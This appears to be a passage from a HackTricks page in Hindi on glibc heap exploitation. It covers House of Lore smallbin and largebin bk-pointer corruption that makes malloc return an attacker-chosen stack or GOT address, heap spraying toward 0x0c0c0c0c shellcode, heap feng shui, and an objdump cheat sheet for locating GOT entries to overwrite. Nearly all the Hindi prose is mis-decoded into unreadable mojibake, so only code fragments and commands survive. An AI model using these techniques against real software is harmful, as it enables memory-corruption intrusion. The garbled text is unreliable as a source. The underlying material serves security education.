рдпрд╣ рдЬрд╛рдирдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдирдП рд╡рд╛рдЗрд▓реНрдбрд░рдиреЗрд╕ рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдЖрдХрд╛рд░ рдкрд┐рдЫрд▓реЗ malloc() рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЧрдП рдЕрдиреБрд░реЛрдз рд╕реЗ рдмрдбрд╝рд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдЕрд░реНрдерд╛рддреН, рдпрджрд┐ рд╡рд╛рдЗрд▓реНрдбрд░рдиреЗрд╕ &EIP-8 рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдХрд╛рд░ рд╕реНрдЯреИрдХ рдХреЗ EBP рдлрд╝реАрд▓реНрдб рдореЗрдВ рдареАрдХ рд░рд╣реЗрдЧрд╛ред
рдж рд╣рд╛рдЙрд╕ рдСрдл рд▓реЙрд░
SmallBin рдХрд╛ рднреНрд░рд╖реНрдЯрд╛рдЪрд╛рд░
рдореБрдХреНрдд рдХрд┐рдП рдЧрдП рдЯреБрдХрдбрд╝реЗ рдЙрдирдХреЗ рдЖрдХрд╛рд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдмрд┐рди рдореЗрдВ рдбрд╛рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рдЙрдиреНрд╣реЗрдВ рдбрд╛рд▓рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЙрдиреНрд╣реЗрдВ рдЕрдирд╕реЙрд░реНрдЯреЗрдб рдмрд┐рди рдореЗрдВ рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдЯреБрдХрдбрд╝рд╛ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕реЗ рддреБрд░рдВрдд рдЙрд╕рдХреЗ рдмрд┐рди рдореЗрдВ рдирд╣реАрдВ рдбрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрд▓реНрдХрд┐ рдЗрд╕реЗ рдЕрдирд╕реЙрд░реНрдЯреЗрдб рдмрд┐рди рдореЗрдВ рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж, рдпрджрд┐ рдПрдХ рдирдпрд╛ рдЯреБрдХрдбрд╝рд╛ рдЖрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдкрд┐рдЫрд▓реЗ рдореБрдХреНрдд рдХрд┐рдП рдЧрдП рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рд╡рд╛рдкрд╕ рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрджрд┐ рдПрдХ рдмрдбрд╝рд╛ рдЖрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЕрдирд╕реЙрд░реНрдЯреЗрдб рдмрд┐рди рдореЗрдВ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЯреБрдХрдбрд╝рд╛ рдЙрд╕рдХреЗ рдЙрдЪрд┐рдд рдмрд┐рди рдореЗрдВ рдбрд╛рд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдХрдордЬреЛрд░ рдХреЛрдб рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдореЗрдореЛрд░реА рдЕрдиреБрд░реЛрдз av->max_fast (72 рд╕рд╛рдорд╛рдиреНрдпрддрдГ) рд╕реЗ рдмрдбрд╝рд╛ рдФрд░ MIN_LARGE_SIZE (512) рд╕реЗ рдХрдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
рдпрджрд┐ рдмрд┐рди рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдЖрдХрд╛рд░ рдХрд╛ рдПрдХ рдЯреБрдХрдбрд╝рд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдЕрдирд▓рд┐рдВрдХ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рд╡рд╛рдкрд╕ рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
bck = victim->bk; рдкрд┐рдЫрд▓реЗ рдЯреБрдХрдбрд╝реЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдПрдХрдорд╛рддреНрд░ рдЬрд╛рдирдХрд╛рд░реА рд╣реИ рдЬрд┐рд╕реЗ рд╣рдо рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
bin->bk = bck; рдкреВрд░реНрд╡рд╡рд░реНрддреА рдЯреБрдХрдбрд╝рд╛ рдЕрдВрддрд┐рдо рдмрди рдЬрд╛рддрд╛ рд╣реИ, рдпрджрд┐ bck рд╕реНрдЯреИрдХ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЕрдЧрд▓реЗ рдЖрд░рдХреНрд╖рд┐рдд рдЯреБрдХрдбрд╝реЗ рдХреЛ рдпрд╣ рдкрддрд╛ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
bck->fd = bin; рдпрд╣ рд╕реВрдЪреА рдХреЛ рдмрдВрдж рдХрд░ рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рдмрд┐рди рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗред
рдЖрд╡рд╢реНрдпрдХ рд╣реИ:
рджреЛ malloc рдЖрд░рдХреНрд╖рд┐рдд рдХрд░рдирд╛, рддрд╛рдХрд┐ рдкрд╣рд▓реЗ рдХреЛ рдУрд╡рд░рдлреНрд▓реЛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЗрд╕рдХреЗ рдмрд╛рдж рджреВрд╕рд░реЗ рдХреЛ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдФрд░ рдЗрд╕реЗ рдЙрд╕рдХреЗ рдмрд┐рди рдореЗрдВ рдбрд╛рд▓рд╛ рдЧрдпрд╛ рд╣реЛ (рдЕрд░реНрдерд╛рдд, рджреВрд╕рд░реЗ рдЯреБрдХрдбрд╝реЗ рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рдмрдбрд╝рд╛ malloc рдЖрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ)ред
рдЬрд┐рд╕ malloc рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЪреБрдиреЗ рдЧрдП рдкрддреЗ рдХреЛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
рд▓рдХреНрд╖реНрдп рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реИ, рдпрджрд┐ рд╣рдо рдПрдХ рдРрд╕реЗ рд╣реАрдк рдкрд░ рдУрд╡рд░рдлреНрд▓реЛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдХреЗ рдиреАрдЪреЗ рдПрдХ рдкрд╣рд▓реЗ рд╕реЗ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЯреБрдХрдбрд╝рд╛ рд╣реИ рдФрд░ рдЙрд╕рдХреЗ рдмрд┐рди рдореЗрдВ рд╣реИ, рддреЛ рд╣рдо рдЙрд╕рдХреЗ bk рдкреЙрдЗрдВрдЯрд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рд╣рдо рдЙрд╕рдХреЗ bk рдкреЙрдЗрдВрдЯрд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдпрд╣ рдЯреБрдХрдбрд╝рд╛ рд╕реВрдЪреА рдХрд╛ рдкрд╣рд▓рд╛ рдмрди рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЖрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдмрд┐рди рдХреЛ рдзреЛрдЦрд╛ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЙрд╕реЗ рдмрддрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдХрд┐ рд╕реВрдЪреА рдХрд╛ рдЕрдВрддрд┐рдо рдЯреБрдХрдбрд╝рд╛ (рдЕрдЧрд▓рд╛ рдЬреЛ рдкреЗрд╢ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛) рдЙрд╕ рдЭреВрдареЗ рдкрддреЗ рдкрд░ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдордиреЗ рд░рдЦрд╛ рд╣реИ (рд╕реНрдЯреИрдХ рдпрд╛ GOT рдХреЗ рд░реВрдк рдореЗрдВ)ред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдПрдХ рдФрд░ рдЯреБрдХрдбрд╝рд╛ рдлрд┐рд░ рд╕реЗ рдЖрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЙрд╕ рдкрд░ рдЕрдиреБрдорддрд┐ рд╣реИ, рддреЛ рдЙрд╕реЗ рдЙрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдПрдХ рдЯреБрдХрдбрд╝рд╛ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рд╡рд╣ рдЙрд╕ рдкрд░ рд▓рд┐рдЦ рд╕рдХреЗрдЧрд╛ред
рд╕рдВрд╢реЛрдзрд┐рдд рдЯреБрдХрдбрд╝реЗ рдХреЛ рдореБрдХреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рдПрдХ рдмрдбрд╝реЗ рдЯреБрдХрдбрд╝реЗ рдХреЛ рдЖрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП, рддрд╛рдХрд┐ рд╕рдВрд╢реЛрдзрд┐рдд рдЯреБрдХрдбрд╝рд╛ рдЕрдирд╕реЙрд░реНрдЯреЗрдб рдмрд┐рди рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓ рдЬрд╛рдП рдФрд░ рдЕрдкрдиреЗ рдмрд┐рди рдореЗрдВ рдбрд╛рд▓рд╛ рдЬрд╛рдПред
рдПрдХ рдмрд╛рд░ рдЬрдм рдпрд╣ рдЕрдкрдиреЗ рдмрд┐рди рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдУрд╡рд░рдлреНрд▓реЛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕рдХреЗ bk рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдЙрд╕ рдкрддреЗ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдо рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдмрд┐рди рдХреЛ рдкрд░реНрдпрд╛рдкреНрдд рдмрд╛рд░ malloc() рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдиреА рд╣реЛрдЧреА рддрд╛рдХрд┐ рд╕рдВрд╢реЛрдзрд┐рдд рдмрд┐рди рдХрд╛ рдкреБрдирдГ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдмрд┐рди рдХреЛ рдзреЛрдЦрд╛ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдпрд╣ рд╕реЛрдЪрдХрд░ рдХрд┐ рдЕрдЧрд▓рд╛ рдЯреБрдХрдбрд╝рд╛ рдЭреВрдареЗ рдкрддреЗ рдкрд░ рд╣реИред рдФрд░ рдлрд┐рд░ рд╣рдореЗрдВ рд╡рд╣ рдЯреБрдХрдбрд╝рд╛ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ рд╣рдореЗрдВ рдЪрд╛рд╣рд┐рдПред
рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдпрдерд╛рд╢реАрдШреНрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрджрд░реНрд╢ рд░реВрдк рд╕реЗ: рдХрдордЬреЛрд░ рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдЖрд░рдХреНрд╖рдг, рд╕рдВрд╢реЛрдзрд┐рдд рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдЖрд░рдХреНрд╖рдг, рдЗрд╕ рдЯреБрдХрдбрд╝реЗ рдХреЛ рдореБрдХреНрдд рдХрд░рдирд╛, рдПрдХ рдмрдбрд╝реЗ рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдЖрд░рдХреНрд╖рдг рдЬреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЯреБрдХрдбрд╝реЗ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ (рдХрдордЬреЛрд░реА), рдХрдордЬреЛрд░ рдЯреБрдХрдбрд╝реЗ рдХреЗ рд╕рдорд╛рди рдЖрдХрд╛рд░ рдХрд╛ рдПрдХ рдЯреБрдХрдбрд╝рд╛ рдЖрд░рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рдФрд░ рдПрдХ рд╕рдорд╛рди рдЖрдХрд╛рд░ рдХрд╛ рджреВрд╕рд░рд╛ рдЯреБрдХрдбрд╝рд╛ рдЖрд░рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рдФрд░ рдпрд╣ рд╡рд╣ рд╣реЛрдЧрд╛ рдЬреЛ рдЪреБрдиреЗ рдЧрдП рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ред
рдЗрд╕ рд╣рдорд▓реЗ рдХреА рд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП, рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рдЬрд╛рдВрдЪ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдХрд┐ рдЯреБрдХрдбрд╝рд╛ тАЬрдЭреВрдард╛тАЭ рдирд╣реАрдВ рд╣реИ: рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ bck->fd victim рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд░рд╣рд╛ рд╣реИред рдЕрд░реНрдерд╛рддреН, рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдпрджрд┐ рдЭреВрдареЗ рдЯреБрдХрдбрд╝реЗ рдХрд╛ fd* рдкреЙрдЗрдВрдЯрд░ рд╕реНрдЯреИрдХ рдореЗрдВ victim рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд░рд╣рд╛ рд╣реИред рдЗрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдХрд┐рд╕реА рди рдХрд┐рд╕реА рддрд░рд╣ (рд╕рдВрднрд╡рддрдГ рд╕реНрдЯреИрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рд╕рд╣реА рдкрддреЗ рдкрд░ victim рдХрд╛ рдкрддрд╛ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рддрд╛рдХрд┐ рдпрд╣ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЯреБрдХрдбрд╝рд╛ рдкреНрд░рддреАрдд рд╣реЛред
LargeBin рдХрд╛ рднреНрд░рд╖реНрдЯрд╛рдЪрд╛рд░
рдкрд╣рд▓реЗ рдХреА рддрд░рд╣ рд╣реА рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ рдФрд░ рдХреБрдЫ рдФрд░, рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЖрд░рдХреНрд╖рд┐рдд рдЯреБрдХрдбрд╝реЗ 512 рд╕реЗ рдмрдбрд╝реЗ рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдПред
рд╣рдорд▓рд╛ рдкрд┐рдЫрд▓реЗ рдЬреИрд╕рд╛ рд╣реА рд╣реИ, рдЕрд░реНрдерд╛рддреН, bk рдкреЙрдЗрдВрдЯрд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдФрд░ рд╕рднреА рдЙрди malloc() рдХреЙрд▓ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕рдВрд╢реЛрдзрд┐рдд рдЯреБрдХрдбрд╝реЗ рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рд╡рд╣ size - nb < MINSIZE рд╣реЛред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, size рдХреЛ 1552 рдореЗрдВ рдбрд╛рд▓рдиреЗ рд╕реЗ 1552 - 1544 = 8 < MINSIZE рд╣реЛрдЧрд╛ (рдШрдЯрд╛рд╡ рдирдХрд╛рд░рд╛рддреНрдордХ рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ unsigned рдХреА рддреБрд▓рдирд╛ рдХреА рдЬрд╛рддреА рд╣реИ)ред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЗрд╕реЗ рдФрд░ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреИрдЪ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
рд╣реАрдк рд╕реНрдкреНрд░реЗрдЗрдВрдЧ
рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ рд╣реАрдк рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХрддрдо рд╕рдВрднрд╡ рдореЗрдореЛрд░реА рдЖрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдФрд░ рдЗрд╕реЗ рд╢реЗрд▓рдХреЛрдб рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ nops рдХреЗ рдЧрджреНрджреЗ рд╕реЗ рднрд░рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЧрджреНрджреЗ рдХреЗ рд░реВрдк рдореЗрдВ 0x0c рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ 0x0c0c0c0c рдХреЗ рдкрддреЗ рдкрд░ рдХреВрджрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдЧрд╛, рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдпрджрд┐ рдХрд┐рд╕реА рдкрддреЗ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдпрд╣ рд╡рд╣рд╛рдВ рдХреВрдж рдЬрд╛рдПрдЧрд╛ред рдореВрд▓ рд░реВрдк рд╕реЗ рд░рдгрдиреАрддрд┐ рдЕрдзрд┐рдХрддрдо рдЖрд░рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдкреЙрдЗрдВрдЯрд░ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ 0x0c0c0c0c рдкрд░ рдХреВрджрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ, рдпрд╣ рдЙрдореНрдореАрдж рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рд╡рд╣рд╛рдВ nops рд╣реИрдВред
рд╣реАрдк рдлреЗрдВрдЧ рд╢реБрдИ
рдпрд╣ рдЖрд░рдХреНрд╖рд┐рдд рдФрд░ рдореБрдХреНрдд рдХрд░рдиреЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдореЗрдореЛрд░реА рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ рдХрд┐ рдореБрдХреНрдд рдЯреБрдХрдбрд╝реЛрдВ рдХреЗ рдмреАрдЪ рдЖрд░рдХреНрд╖рд┐рдд рдЯреБрдХрдбрд╝реЗ рд╣реЛрдВред рдУрд╡рд░рдлреНрд▓реЛ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдмрдлрд░ рдЗрдирдореЗрдВ рд╕реЗ рдПрдХ рдЕрдВрдбреЗ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрдЧрд╛ред
objdump -d ejecutable тАФ> рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдбрд┐рд╕рд╛рд╕реЗрдореНрдмрд▓ рдХрд░реЗрдВ
objdump -d ./PROGRAMA | grep FUNCION тАФ> рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
objdump -d -Mintel ./shellcodeout тАФ> рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдпрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╣рдорд╛рд░реА рд╢реЗрд▓рдХреЛрдб рд╣реИ рдФрд░ рдСрдкрдХреЛрдб рдирд┐рдХрд╛рд▓реЗрдВ
objdump -t ./exec | grep varBss тАФ> рдкреНрд░рддреАрдХ рддрд╛рд▓рд┐рдХрд╛, рд╡реЗрд░рд┐рдПрдмрд▓ рдФрд░ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рдкрддреЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП
objdump -TR ./exec | grep exit(func lib) тАФ> рдкреБрд╕реНрддрдХрд╛рд▓рдп рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рдкрддреЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts тАФ> GOT рдореЗрдВ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП puts рдХрд╛ рдкрддрд╛ рдирд┐рдХрд╛рд▓реЗрдВ
objdump -D ./exec тАФ> рд╕рднреА рдХреЛ рдбрд┐рд╕рд╛рд╕реЗрдореНрдмрд▓ рдХрд░реЗрдВ рдЬрдм рддрдХ рдХрд┐ plt рдХреЗ рдкреНрд░рд╡реЗрд╢ рди рд╣реЛрдВ
objdump -p -/exec
Info functions strncmp тАФ> gdb рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди рдХреА рдЬрд╛рдирдХрд╛рд░реА
рджрд┐рд▓рдЪрд╕реНрдк рдкрд╛рдареНрдпрдХреНрд░рдо
рд╕рдВрджрд░реНрдн
{% hint style="success" %}
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ Twitter рдкрд░ рд╣рдореЗрдВ рдлреЙрд▓реЛ рдХрд░реЗрдВ ЁЯРж @hacktricks_live.**
- HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░рдХреЗ рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВред